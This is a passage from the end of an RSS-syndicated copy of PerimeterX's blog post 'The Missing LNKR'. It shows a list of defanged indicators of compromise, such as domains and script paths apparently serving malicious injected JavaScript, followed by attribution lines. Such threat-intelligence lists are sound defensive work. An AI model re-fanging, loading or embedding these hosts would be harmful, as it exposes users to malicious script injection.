</p><p><em>protesidenext[.]com/optout/set/lat</em></p><p><em>protesidenext[.]com/optout/set/lt</em></p><p><em>singtraff[.]cool/1e807542320a86c32c.js</em></p><p><em>singtraff[.]cool/optout/get</em></p><p><em>singtraff[.]cool/optout/set/lat</em></p><p><em>singtraff[.]cool/optout/set/lt</em></p><p><em>singtraff[.]cool/optout/set/strtm</em></p><p><em>singtraff[.]cool/optout/set/userid</em></p><p><em>skillapp[.]net/21449c4855c9415c00.js</em></p><p><em>vedeyo.razegawomi[.]com/scripts/js</em></p><p><em>wocaga.fecukuhote[.]com/scripts/js</em></p><p><em>yatulo.yibivacaji[.]com/scripts/js</em></p><p><em>yotejo.cevocoxuhu[.]com/scripts/js</em></p><p><em>Originally published at </em><a href="https://www.perimeterx.com/tech-blog/2020/the-missing-lnkr/"><em>https://www.perimeterx.com</em></a><em> on October 22, 2020.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8910a2ee4fbd" width="1" height="1" alt=""><hr><p><a href="https://medium.com/perimeterx/the-missing-lnkr-8910a2ee4fbd">The Missing LNKR</a> was originally published in <a href="https://medium.com/perimeterx">PerimeterX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>